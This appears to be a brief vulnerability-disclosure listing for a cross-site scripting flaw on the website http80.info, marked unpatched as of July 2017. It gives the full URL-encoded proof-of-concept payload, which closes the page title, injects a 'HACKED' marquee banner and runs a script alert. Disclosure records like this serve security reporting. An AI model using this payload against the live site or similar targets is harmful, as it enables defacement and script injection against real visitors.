http80.info XSS vulnerability

Vulnerable URL: http://www.http80.info/?host=%3E%3C%2Ftitle%3E%27%22%3E%3Cmarquee%3E%3Ch1%3EHACKEDR3NW4%3C%2F+h1%3E%3C%2Fmarquee%3ESCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%2FXSSPOSED%2F%29%3C%2FSCRIPT%3E=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017...